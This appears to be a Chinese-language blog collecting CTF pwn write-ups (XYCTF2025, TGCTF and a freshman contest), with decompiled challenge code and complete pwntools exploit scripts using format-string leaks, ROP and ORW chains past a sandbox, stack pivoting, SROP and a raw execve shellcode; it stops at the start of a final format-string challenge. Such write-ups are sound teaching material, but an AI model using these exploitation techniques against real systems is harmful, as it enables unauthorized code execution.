国内比赛 XYCTF2025 girlfirend check发现保护全开,有菜单但是似乎不是堆题
发现有system("echo /flag");
但是没有/bin/sh
解析各个选择
1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 __int64 lll1 () { char buf[56 ]; unsigned __int64 v2; v2 = __readfsqword(0x28 u); if ( dword_4094 ) { puts ("You have already tried to talk to her, and she left..." ); } else { dword_4094 = 1 ; puts ("Girl is very beautiful!" ); puts ("what do you want to say to her?" ); read(0 , buf, 0x50 uLL); printf ("You say: %s\n" , buf); puts ("but she left........." ); } return 0LL ; }
发现有栈溢出漏洞,后接printf可以利用该处输出canary的值,因为canary的低字节一般是\x00会将%s截断但是不确定在调用另一个函数后该值是否发生改变Canary 值在程序运行时是固定的,不会随着函数调用而改变。
2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 __int64 get_flag2 () { char v1; puts ("Do you want to buy her flowers?" ); puts ("Y/N" ); v1 = getchar(); while ( getchar() != 10 ) ; if ( v1 == 'Y' || v1 == 'y' ) { if ( dword_4090 <= 200 ) { puts ("you don't have enough money" ); } else { puts ("You did it!\n" ); system("echo /flag" ); } } else { printf ("what a pity!" ); } return 0LL ; }
关键函数,如果输入Y且dword_4090>200即可到达system函数,但是此处不能直接输出flag或者提权也没有/bin/sh想尝试将其参数传为/bin/sh
3:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 __int64 lll3 () { if ( dword_4098 <= 1 ) { ++dword_4098; puts ("You should tell her your name first" ); read(0 , buf, 0x100 uLL); puts ("your name:" ); printf (buf); puts ("You also get her name: XM" ); puts ("Good luck!" ); } else { puts ("You can only introduce yourself twice." ); } return 0LL ; }
该函数也存在溢出可用其修改dword_4090的值使其能运行到system函数,存在格式化字符串漏洞,可以把/bin/sh写到bss段用该处泄露基地址(因为开了PIE bss段的地址无法确定)
4没啥用
开了沙箱:
注意在调用read时fd也就是第一个参数只能等于0所以得先用close(0)关闭标准输入,使得在read(0,xxx,xxx)时文件指针0能够重定向到opeanat()所打开的那个文件使得flag正常读入
大致思路目前是这样的,首先利用3测格式化字符的偏移尝试输出elf基地址绕过PIE,输出canary,输出函数真实地址拿到libc,接着利用3构造rop链因为没有/bin/sh且禁用了execve所以选择用orw,但是opean也被禁用了但可以用opeanat代替,最后用1进行栈迁移到利用3布置的rop链上
注意在开启了PIE之后gdb调试时无法直接在main函数处下断点需要借助b *$rebase(要下断点的偏移)
当然得先让程序跑起来,ida中显示的地址即为偏移
canary:
printf处存在格式化字符漏洞,可以通过输入改变printf调用时rdi的值也就是格式字符串,printf的格式字符串防在rdi中,后续对应的参数前5个放在寄存器里,也就是RSI RDX RCX R8 R9
后续参数存放到栈上由低地址到高地址。
调用printf函数时的寄存器情况以及栈情况:
可以发现rdi成功变成了我们输入的格式字符,RSI RDX R8 R9中的内容都没有我们想要的那么看栈上的
可以发现第7个参数是mov edi,1的地址可以用这个泄露elf基地址,我们用泄露出来的地址减去该汇编对应偏移就是基地址
IDA中找到该条汇编,偏移为0x18D9
第15个很明显是canary的值因为低字节是’\x00’,为什么确定canary是该处的值呢我们调用1再来看看栈上确定该canary
这里运行到1中获取输入后,可以看到栈上0x7fffffffdfc8对应的值即为canary,因为其在rbp-8处
ibc基址我们选择用第17个参数也就是(__libc_start_call_main+128)的地址先输出一次获取后三位,再通过网址寻找对应libc版本。注意我们只能用__libc_start_call_main搜所以要将得到的后三位减去128
故为0xD90-128=0xD10搜索到实际为这个libc database search
但是此处找libc基址反而是用的mov edi,eax这条指令的偏移来找的,我尝试用__libc_start_call_main的偏移来定基地址但是打不通,怪怪的,而mov edi,eax
我用ROPgadget去找没找到只有用IDA打开libc文件一个个去试试出来其对应偏移为0x29D90
所以我们的格式字符即为%7$p_%15$p_%17$p
1 2 3 4 5 6 7 8 9 10 11 12 13 io.sendlineafter("Your Choice:\n" , str (3 )) io.sendlineafter("You should tell her your name first" ,b'%7$p...%15$p...%17$p...' ) io.recvuntil(b'\nyour name:\n' ) elf_base = int (io.recvuntil(b'...' ,drop=True ),16 )-0x18D9 print (b'pie>>>' +hex (elf_base).encode('utf-8' ))canary = int (io.recvuntil(b'...' ,drop=True ),16 ) print (b'canary>>>' +hex (canary).encode('utf-8' ))libc_base = int (io.recvuntil(b'...' ,drop=True ),16 )-0x29D90 print (b'libc>>>' +hex (libc_base).encode('utf-8' ))
接着再次用3来构造rop链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 payload = flat([ 'flag\x00\x00\x00\x00' ,0 , 0 ,0 , 0 ,0 , 0 ,pop_rdi_ret, 0 ,close_addr, pop_rdi_ret,-100 , pop_rsi_ret,bss_addr, pop_rdx_r_ret,0x0 ,0 , opnat_addr, pop_rdi_ret,0 , pop_rdx_r_ret,0x100 ,0 , read_addr, pop_rdi_ret,1 , pop_rdx_r_ret,0x100 ,0 , pop_rax_ret,1 , write_addr, ])
首先将’flag’填充到8个字节压到byte_4060处后面的6个零是为了不将关键ROP覆盖到那几个bss段上的全局变量上防止后面运行不起来,加上flag总共0x38个字节,接着就是orw
1 2 3 4 close(0) opeanat(-100,bss_addr,0) //-100表示当前工作目录 read(0,bss_addr,0x100) write(1,bss_addr,0x100)
注意rop链刚好100字节不能用sendline发送会多一个字节,所以我们都使用send发送
最后就是栈迁移了
1 payload1 = b'a' *0x38 + p64(canary) + p64(bss_addr+0x30 )+p64(leave_ret)
因为迁移后rsp会在rbp基础上+8所以rbp只设置为bss_addr+0x30
2025-4-10浮现了7-8个小时第一次浮现出全保护的题并且全部搞懂非常开心~~
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import *io = remote('gz.imxbt.cn' ,20623 ) elf = ELF("./pwn" ) libc=ELF("./libc2.so" ) context(arch='amd64' , os='linux' , log_level='debug' ) io.sendlineafter("Your Choice:\n" , str (3 )) io.sendlineafter("You should tell her your name first" ,b'%7$p...%15$p...%17$p...' ) io.recvuntil(b'\nyour name:\n' ) elf_base = int (io.recvuntil(b'...' ,drop=True ),16 )-0x18D9 print (b'pie>>>' +hex (elf_base).encode('utf-8' ))canary = int (io.recvuntil(b'...' ,drop=True ),16 ) print (b'canary>>>' +hex (canary).encode('utf-8' ))libc_base = int (io.recvuntil(b'...' ,drop=True ),16 )-0x29D90 print (b'libc>>>' +hex (libc_base).encode('utf-8' ))bss_addr = elf_base + 0x004060 pop_rdi_ret = libc_base + 0x000000000002a3e5 pop_rsi_ret = libc_base + 0x0000000000130202 pop_rdx_r_ret = libc_base + 0x000000000011f2e7 pop_rax_ret = libc_base + 0x0000000000045eb0 pop_rcx_ret = libc_base + 0x000000000003d1ee syscall_ret = libc_base + 0x0000000000091316 leave_ret = libc_base + 0x000000000004da83 opnat_addr = libc_base + libc.sym['openat' ] read_addr = libc_base + libc.sym['read' ] write_addr = libc_base + libc.sym['write' ] close_addr = libc_base + libc.sym['close' ] payload = flat([ 'flag\x00\x00\x00\x00' ,0 , 0 ,0 , 0 ,0 , 0 ,pop_rdi_ret, 0 ,close_addr, pop_rdi_ret,-100 , pop_rsi_ret,bss_addr, pop_rdx_r_ret,0x0 ,0 , opnat_addr, pop_rdi_ret,0 , pop_rdx_r_ret,0x100 ,0 , read_addr, pop_rdi_ret,1 , pop_rdx_r_ret,0x100 ,0 , pop_rax_ret,1 , write_addr, ]) io.sendlineafter("Your Choice:\n" , str (3 )) io.sendafter("You should tell her your name first" ,payload) io.recvuntil("your name:\n" ) payload1 = b'a' *0x38 + p64(canary) + p64(bss_addr+0x30 )+p64(leave_ret) io.sendlineafter("Your Choice:\n" , str (1 )) io.sendafter("what do you want to say to her?" ,payload1) io.interactive()
Ret2libc’s Revenge 一题看似简单的libc,实则不简单
checksec
1 2 3 4 5 6 7 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
漏洞函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 __int64 revenge () { int v0; char v2[528 ]; int v3; char v4; int v5; int v6; v5 = 0 ; while ( !feof(stdin ) ) { v4 = fgetc(stdin ); if ( v4 == 10 ) break ; v0 = v6++; v5 = v0; v2[v0] = v4; } v3 = v6; v2[v6] = 0 ; return v3; }
main函数就是简单的用puts输出了一段内容然后调用漏洞函数,漏洞函数逐个字符循环读取键盘输入到v2中存在栈溢出,但是这道题难在没有关键gadget:”pop rdi;ret”导致无法直接构造rop链泄露libc版本,唯一一个pop只有pop rbp可能只能靠这个来传参然后就卡住了
浮现版:
观察发现revenge函数内存在数组溢出,注意缓冲区的设置
1 2 3 4 5 6 7 __int64 init () { setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 0 , 0LL ); setvbuf(stderr , 0LL , 0 , 0LL ); return 0LL ; }
输入流设置的无缓冲,输出流设置的全缓冲
程序中并没有fflush函数,想要改变setbuf的参数也比较困难故选择将缓冲区填满使得我们能够用puts泄露出其实际地址来找libc
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *context(arch='amd64' ,log_level='debug' ) io = remote("47.94.103.208" ,22660 ) elf = ELF('./pwn' ) libc = ELF("./libc1.so" ) s = lambda data :io.send(data) sa = lambda text,data :io.sendafter(text, data) sl = lambda data :io.sendline(data) sla = lambda text,data :io.sendlineafter(text, data) r = lambda num=4096 :io.recv(num) rl = lambda :io.recvline() ru = lambda text :io.recvuntil(text) uu32 = lambda :u32(io.recvuntil(b"\xf7" )[-4 :].ljust(4 ,b"\x00" )) uu64 = lambda :u64(io.recvuntil(b"\x7f" )[-6 :].ljust(8 ,b"\x00" )) inf = lambda s :info(f"{s} ==> 0x{eval (s):x} " ) bss = 0x404100 gadget1 = 0x0000000000401180 xor_rsi = 0x00000000004010e4 add_rsi_rbp20 = 0x00000000004010eb rbp = 0x000000000040117d ret =0x000000000040101a magic = 0x00000000004010eb pay = b'a' *0x218 +b'\x18' +b'\x02' +b'\x00' *2 +b'\x1d' +b'\x02' +b'\x00' *2 +p64(bss+0x220 )+p64(0x401207 ) sl(pay) ret = 0x000000000040101a pay = b'a' *(0x200 -8 )+p64(0x404060 )+p64(0x404018 )+p64(0 )*2 +b'\x18' +b'\x02' +b'\x00' *2 +b'\x1d' +b'\x02' +b'\x00' *2 +p64(0x404300 -0x20 )\ +p64(xor_rsi)+p64(add_rsi_rbp20)+p64(gadget1)+p64(0x401070 )\ +p64(rbp)+p64(0x4042e0 -0x20 )+p64(xor_rsi)+p64(add_rsi_rbp20)+p64(gadget1)+p64(xor_rsi)+p64(0x4010a0 )+p64(rbp)+p64(bss+0x420 )+p64(0x401207 ) sl(pay) rl() puts = u64(rl()[:-1 ].ljust(8 ,b'\x00' )) inf('puts' ) libc.address = puts - libc.sym['puts' ] system = libc.sym['system' ] pay = b'a' *(0x200 -8 )+p64(0x404758 )+p64(0x404018 )+p64(0 )*2 +b'\x18' +b'\x02' +b'\x00' *2 +b'\x1d' +b'\x02' +b'\x00' *2 +p64(0x4044f8 -0x20 )+p64(xor_rsi)+p64(add_rsi_rbp20)+p64(gadget1)+p64(ret)*2 +p64(ret)*0x40 +p64(system)+b'/bin/sh\x00' sl(pay) io.interactive()
商丘师范学院新生赛4.7 浅红欺醉粉,肯信有江梅
nc连接直接ls``cat
领取你的小猫娘
简单栈溢出
exp
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context(arch='amd64' ,os='linux' ,log_level='debug' ) io=process('./pwn' ) io=remote('challenge.qsnctf.com' ,30010 ) elf=ELF('./pwn' ) system=0x40121B payload=b'a' *(0x50 +8 )+p64(system) io.sendline(payload) io.interactive()
当时只道是寻常 主要汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 .text:0000000000401000 48 83 EC 08 sub rsp, 8 .text:0000000000401004 B8 01 00 00 00 mov eax, 1 .text:0000000000401009 BF 01 00 00 00 mov edi, 1 ; fd .text:000000000040100 E 48 BE 00 20 40 00 00 00 00 00 mov rsi, offset msg ; buf .text:0000000000401018 BA 3 A 00 00 00 mov edx, 3 Ah ; ':' ; count .text:000000000040101 D 0F 05 syscall ; LINUX - sys_write .text:000000000040101F B8 00 00 00 00 mov eax, 0 .text:0000000000401024 BF 00 00 00 00 mov edi, 0 ; fd .text:0000000000401029 48 89 E6 mov rsi, rsp ; buf .text:000000000040102 C BA 00 04 00 00 mov edx, 400 h ; count .text:0000000000401031 0F 05 syscall ; LINUX - sys_read .text:0000000000401033 BA 08 00 00 00 mov edx, 8 ; count .text:0000000000401038 B8 01 00 00 00 mov eax, 1 .text:000000000040103 D BF 01 00 00 00 mov edi, 1 ; fd .text:0000000000401042 48 89 E6 mov rsi, rsp ; buf .text:0000000000401045 0F 05 syscall ; LINUX - sys_write .text:0000000000401047 5 D pop rbp .text:0000000000401048 C3 retn
伪代码
1 2 3 4 5 6 7 8 9 10 signed __int64 start() { signed __int64 v0; // rax signed __int64 v1; // rax char v3[8]; // [rsp+0h] [rbp-8h] BYREF v0 = sys_write(1u, &msg, 58uLL); v1 = sys_read(0, v3, 0x400uLL); return sys_write(1u, v3, 8uLL); }
一开始看到是系统调用read有点蒙,直接用gdb调试
有/bin/sh存在栈溢出,什么保护都没开但不能直接构造rop链gadget不太够用这里尝试伪造栈帧通过系统调用sys_rt_sigreturn 改变寄存器状态从而系统调用execve(“/bin/sh,0,0”)
要系统调用execve(“/bin/sh,0,0”)需要控制以下寄存器
1 2 3 4 rdi --> /bin/sh地址(题目中给到了) rsi --> 0 rdx -->0 rax -->3b
故通过伪造信号帧的方式来调整寄存器的值
先利用已有gadget进行系统调用 sys_rt_sigreturn
1 payload=b'a' *0x8 +p64(pop_rax)+p64(0xf )+p64(syscall)
因为是系统调用read只在最后有pop rbp ret的操作故栈上前8个字节会弹到rbp中rsp+8,原rbp处变成了返回地址弹到rip中,故只填充8个字节pop_rax会被放到rip中执行
利用pwntool库中的SigreturnFrame函数伪造信号帧并将其转换为字节序列压入栈中
1 2 3 4 5 6 7 8 fake = SigreturnFrame() fake.rax = 0x3b fake.rdi = 0x40203A fake.rdx = 0 fake.rsi = 0 fake.rsp = 0x402044 fake.rip = 0x401045 payload+=bytes (fake)
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *context.update(arch='amd64' ,os='linux' ,log_level='debug' ) debug=1 if debug: p=process('./pwn01' ) else : p=remote('challenge.qsnctf.com' ,30956 ) pop_rax=0x000000000040104a bin_sh=0x40203a payload=b'a' *8 payload+=p64(pop_rax) payload+=p64(0xf ) payload+=p64(0x401045 ) fake = SigreturnFrame() fake.rax = 0x3b fake.rdi = 0x40203A fake.rdx = 0 fake.rsi = 0 fake.rsp = 0x402044 fake.rip = 0x401045 payload+=bytes (fake) +gdb.attach(p) p.send(payload) p.interactive()
我觉君非池中物,咫尺蛟龙云雨
虽然保护全开但是用 mprotect函数使得bss段可读写执行故直接写shellcode即可
注意要小于0x30个字节我用了个24字节的
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context(arch='amd64' ,os='linux' ,log_level='debug' ) io=remote('challenge.qsnctf.com' ,32618 ) elf=ELF('./pwn' ) payload = b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" print (payload)io.recvuntil('window.' ) io.sendline(payload) io.interactive()
江南无所有,聊赠一枝春
简单ret2text
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context(arch='amd64' ,os='linux' ,log_level='debug' ) io=remote('challenge.qsnctf.com' ,32599 ) gift = 0x4011DC payload=b'a' *(0x40 +0x8 )+p64(gift) io.sendline(payload) io.interactive()
TGCTF 签到 简单的签到题,栈溢出构造rop链泄露libc基地址接着构造system(/bin/sh)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *from LibcSearcher import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io=remote('node1.tgctf.woooo.tech' ,32243 ) libc = ELF('./libc.so.6' ) elf=ELF('./pwn' ) main=elf.symbols['main' ] puts_got=elf.got['puts' ] puts_plt=0x401060 pop_rdi_ret=0x401176 ret=0x40101a payload=b'a' *(0x70 +8 )+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main) io.sendline(payload) puts=u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) print (hex (puts))libc_base=puts-libc.symbols['puts' ] system=libc_base+libc.symbols['system' ] bin_sh=libc_base+0x1d8678 payload1=b'a' *(0x70 +8 )+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system) io.sendline(payload1) io.interactive()
shellcode checksec
1 2 3 4 5 6 [*] '/home/pwn/桌面/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
题目提示够用了仔细看寄存器
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 __int64 __fastcall main (int a1, char **a2, char **a3) { void *buf; setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); puts ("hello hacker" ); puts ("try to show your strength " ); buf = mmap(0LL , 0x1000 uLL, 7 , 34 , -1 , 0LL ); read(0 , buf, 18uLL ); mprotect(buf, 0x1000 uLL, 4 ); sub_11C9(buf); return 0LL ; }
buf位于栈上被改为可读可写可执行,后续buf作为参数被传入rdi中调用sub_11C9函数,汇编如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 .text:00000000000011C9 F3 0F 1E FA endbr64 .text:00000000000011CD 55 push rbp .text:00000000000011CE 48 89 E5 mov rbp, rsp .text:00000000000011D1 41 57 push r15 .text:00000000000011D3 41 56 push r14 .text:00000000000011D5 41 55 push r13 .text:00000000000011D7 41 54 push r12 .text:00000000000011D9 53 push rbx .text:00000000000011DA 48 89 7D D0 mov [rbp+var_30], rdi .text:00000000000011DE 48 8B 7D D0 mov rdi, [rbp+var_30] .text:00000000000011E2 48 31 C0 xor rax, rax .text:00000000000011E5 48 31 DB xor rbx, rbx .text:00000000000011E8 48 31 C9 xor rcx, rcx .text:00000000000011EB 48 31 D2 xor rdx, rdx .text:00000000000011EE 48 31 F6 xor rsi, rsi .text:00000000000011F1 4D 31 C0 xor r8, r8 .text:00000000000011F4 4D 31 C9 xor r9, r9 .text:00000000000011F7 4D 31 D2 xor r10, r10 .text:00000000000011FA 4D 31 DB xor r11, r11 .text:00000000000011FD 4D 31 E4 xor r12, r12 .text:0000000000001200 4D 31 ED xor r13, r13 .text:0000000000001203 4D 31 F6 xor r14, r14 .text:0000000000001206 4D 31 FF xor r15, r15 .text:0000000000001209 48 31 ED xor rbp, rbp .text:000000000000120C 48 31 E4 xor rsp, rsp .text:000000000000120F 48 89 FF mov rdi, rdi .text:0000000000001212 FF E7 jmp rdi .text:0000000000001212 .text:0000000000001212 sub_11C9 endp
会将除RDI RIP外的所有寄存器清零故在设置execve(‘/bin/sh,0,0’)时我们不用管rsi和rdx,只用看rdi和rax就好了,关键在于如何让rdi的值为/bin/sh的地址,注意只能是/bin/sh的地址 ,因为execve的各个参数都是指针,如果直接将/bin/sh这个具体字符赋值给rdi函数会无法解析,选择将/bin/sh写在buf上,然后通过rsp传递/bin/sh
1 2 3 4 lea rsp, [rdi + 11] ;4字节将rdi指向的地址加上 11后的结果赋值给rsp(刚好指向/bin/sh) mov rdi,rsp ;3字节将rsp的值赋给rdi mov al,0x3b ;2字节将rax的值设置为0x3b syscall ;2字节系统调用
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io=remote('node2.tgctf.woooo.tech' ,30243 ) elf=ELF('./pwn' ) shellcode = asm(''' lea rsp, [rdi + 11] mov rdi,rsp mov al,0x3b syscall ''' )payload = shellcode+ b'/bin/sh' io.send(payload) io.interactive()
新姿势:lea用于计算内存地址并将结果存储在目标寄存器中,相较于先add再mov更省字节
stack checksec
1 2 3 4 5 6 7 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
main函数
1 2 3 4 5 6 7 8 9 10 11 __int64 __fastcall main (int a1, char **a2, char **a3) { setbuf (stdin, 0LL ); setbuf (stdout, 0LL ); setbuf (stderr, 0LL ); std::operator <<<std::char_traits<char >>(&std::cout, "welcome! could you tell me your name?\n" ); read (0 , &unk_404060, 0xA8uLL ); std::operator <<<std::char_traits<char >>(&std::cout, "what dou you want to say?\n" ); sub_4011FA (); return 0LL ; }
sub_4011FA()函数
1 2 3 4 5 6 7 8 9 void *sub_4011FA () { signed __int64 v0; char buf[56 ]; void *retaddr; v0 = sys_read (0 , buf, 0x50uLL ); return retaddr; }
sub_4011FA()函数很明显存在栈溢出但是要构造rop链来泄露libc明显不太够main函数中还有个read可以读很多数据到data段
data段从unk_404060开始
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 .data:0000000000404060 00 unk_404060 db 0 ; DATA XREF: main+62↑o .data:0000000000404061 00 db 0 .data:0000000000404062 00 db 0 .data:0000000000404063 00 db 0 .data:0000000000404064 00 db 0 .data:0000000000404065 00 db 0 .data:0000000000404066 00 db 0 .data:0000000000404067 00 db 0 .data:0000000000404068 00 db 0 .data:0000000000404069 00 db 0 .data:000000000040406A 00 db 0 .data:000000000040406B 00 db 0 .data:000000000040406C 00 db 0 .data:000000000040406D 00 db 0 .data:000000000040406E 00 db 0 .data:000000000040406F 00 db 0 .data:0000000000404070 00 db 0 .data:0000000000404071 00 db 0 .data:0000000000404072 00 db 0 .data:0000000000404073 00 db 0 .data:0000000000404074 00 db 0 .data:0000000000404075 00 db 0 .data:0000000000404076 00 db 0 .data:0000000000404077 00 db 0 .data:0000000000404078 00 db 0 .data:0000000000404079 00 db 0 .data:000000000040407A 00 db 0 .data:000000000040407B 00 db 0 .data:000000000040407C 00 db 0 .data:000000000040407D 00 db 0 .data:000000000040407E 00 db 0 .data:000000000040407F 00 db 0 .data:0000000000404080 00 db 0 .data:0000000000404081 00 db 0 .data:0000000000404082 00 db 0 .data:0000000000404083 00 db 0 .data:0000000000404084 00 db 0 .data:0000000000404085 00 db 0 .data:0000000000404086 00 db 0 .data:0000000000404087 00 db 0 .data:0000000000404088 00 db 0 .data:0000000000404089 00 db 0 .data:000000000040408A 00 db 0 .data:000000000040408B 00 db 0 .data:000000000040408C 00 db 0 .data:000000000040408D 00 db 0 .data:000000000040408E 00 db 0 .data:000000000040408F 00 db 0 .data:0000000000404090 00 db 0 .data:0000000000404091 00 db 0 .data:0000000000404092 00 db 0 .data:0000000000404093 00 db 0 .data:0000000000404094 00 db 0 .data:0000000000404095 00 db 0 .data:0000000000404096 00 db 0 .data:0000000000404097 00 db 0 .data:0000000000404098 00 db 0 .data:0000000000404099 00 db 0 .data:000000000040409A 00 db 0 .data:000000000040409B 00 db 0 .data:000000000040409C 00 db 0 .data:000000000040409D 00 db 0 .data:000000000040409E 00 db 0 .data:000000000040409F 00 db 0 .data:00000000004040A0 01 00 00 00 00 00 00 00 qword_4040A0 dq 1 ; DATA XREF: sub_4011FA-2A↑r .data:00000000004040A8 ; unsigned int fd .data:00000000004040A8 01 00 00 00 00 00 00 00 fd dq 1 ; DATA XREF: sub_4011FA-23↑r .data:00000000004040B0 00 db 0 .data:00000000004040B1 00 db 0 .data:00000000004040B2 00 db 0 .data:00000000004040B3 00 db 0 .data:00000000004040B4 00 db 0 .data:00000000004040B5 00 db 0 .data:00000000004040B6 00 db 0 .data:00000000004040B7 00 db 0 .data:00000000004040B8 ; size_t count .data:00000000004040B8 0B 00 00 00 00 00 00 00 count dq 0Bh ; DATA XREF: sub_4011FA-19↑r .data:00000000004040C0 ; char buf[72] .data:00000000004040C0 00 00 00 00 00 00 00 00 00 00+buf db 48h dup(0) ; DATA XREF: sub_4011FA-3C↑o .data:00000000004040C0 00 00 00 00 00 00 00 00 00 00+ ; sub_4011FA-31↑o .data:0000000000404108 2F 62 69 6E 2F 73 68 00 aBinSh db '/bin/sh',0
发现了/bin/sh地址,先记录后续应该用的上,溢出字节数够我们可以覆盖很多内容:qword_4040A0 dq 1;fd dq 1 ;count dq 0Bh 这三个参数很可疑汇编里找找它在哪
sub_4011FA
发现当[rbp+8]处的内容和[rbp+0x28]处的内容不一样时会跳转到loc_4011B6
这个函数
找到这个函数就在sub_4011FA汇编的上面,但是没有对应的函数名称所以在左侧函数名称栏看不到
发现了刚刚我们可以覆盖的那几个参数,分别对应rax ,rdi,rdx,其中通过gdb调试发现rsi的地址是指向0的指针,所以我们可以通过第一个read来覆盖特定参数达到execve(‘/bin/sh,0,0’)
当[rbp+8]处的内容和[rbp+0x28]处的内容不一样时才会跳转到loc_4011B6
这个函数,在未栈溢出覆盖时这两个地方的值是一样的所以我们要覆盖掉rbp+8处的内容使函数能正常跳转
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io=remote('node1.tgctf.woooo.tech' ,30764 ) elf=ELF('./pwn' ) bin_sh=0x404108 qword_4040A0_offset = 0x40 fd_offset = 0x48 count_offset = 0x58 payload = b'A' * qword_4040A0_offset payload += p64(0x3b ) payload += b'B' * (fd_offset - qword_4040A0_offset - 8 ) payload += p64(0x404108 ) payload += b'C' * (count_offset - fd_offset - 8 ) payload += p64(0x0000000000000000 ) io.send(payload) payload = b'a' *(0x40 )+b'12345678' *2 io.sendafter(b'want to say?\n' ,payload) io.interactive()
overflow checksec
1 2 3 4 5 6 7 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
check版本老了,实际上没开canary因为静态编译所以误检测了,程序是静态编译的,两段输入第一段通过read读到bss段上可以读0x100个字节,第二段gets读入栈上可以栈溢出控制执行流
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[200 ]; int *p_argc; p_argc = &argc; setvbuf(stdin , 0 , 2 , 0 ); setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stderr [0 ], 0 , 2 , 0 ); puts ("could you tell me your name?" ); read(0 , name, 0x100 ); puts ("i heard you love gets,right?" ); gets(buf); return 0 ; }
目前思路在name处写下rop链进行ret2syscall系统调用execve(‘/bin/sh’,0,0),gets处构造溢出控制执行流即可
因为是全静态编译,gets函数也是静态构造的没有link,所以通过gdb调试进入到gets函数来找偏移
前面还有一个 _uflow 函数调用获取一个字符所以我们的输入起始地址是0xfffd048继续调式
可以看到运行到gets函数结束时旧的ebp在0xffffd118处距离输入即为0xD0这个数据和IDA上的相同但是想要控制执行流并不能将返回地址覆盖在0xD0+4+4处因为main函数汇编ret这里有点不一样
我们先找esp因为最后retn是pop eip将esp指向的地址弹给执行流,来到080498C0处也就是lea esp,[ebp - 8]
ebp是我们可控的,esp现在的地址是[ebp - 8]处紧接着pop ecx
将该处前4个字节弹给ecx后面还要弹两个但是用处不大,就到了0x080498C6处lea esp,[ecx - 4]
此时esp的值被改为了[ecx - 4]也就是[ebp - 8 -4]处所以我们要将返回地址放到[ebp-8]处才能跳转且返回地址的值要加4才是正确的返回地址
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) io = remote('node1.tgctf.woooo.tech' ,31579 ) elf = ELF('./pwn' ) name=0x080EF320 int_80=0x08073D70 pop_eax=0x080b470a pop_ebx=0x08049022 pop_ecx=0x08049802 pop_edx=0x08060bd1 bin_sh=name payload = b'/bin/sh\x00' +p32(pop_eax)+p32(0xb )+p32(pop_ebx)+p32(bin_sh)+p32(pop_ecx)+p32(0 )+p32(pop_edx)+p32(0 )+p32(int_80) io.sendlineafter(b'your name?\n' ,payload) payload = b'a' *(0xD0 -0x8 )+p32(name+0x4 +0x8 ) io.sendlineafter(b'right?\n' ,payload) io.interactive()
p32(name+0x4+0x8)加4上面已经讲了,加8是为了跳过/bin/sh\x00
‘占8字节
fmt 利用格式化字符漏洞任意写
checksec
1 2 3 4 5 6 7 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
main函数:
